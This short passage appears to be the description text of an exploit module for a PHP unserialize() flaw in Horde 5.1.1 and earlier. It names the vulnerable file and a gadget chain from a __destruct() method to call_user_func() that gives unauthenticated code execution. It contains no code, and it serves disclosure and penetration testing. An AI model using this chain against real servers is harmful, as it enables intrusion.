        This module exploits a php unserialize() vulnerability in Horde <= 5.1.1 which could be
        abused to allow unauthenticated users to execute arbitrary code with the permissions of
        the web server. The dangerous unserialize() exists in the 'lib/Horde/Variables.php' file.
        The exploit abuses the __destruct() method from the Horde_Kolab_Server_Decorator_Clean
        class to reach a dangerous call_user_func() call in the Horde_Prefs class.
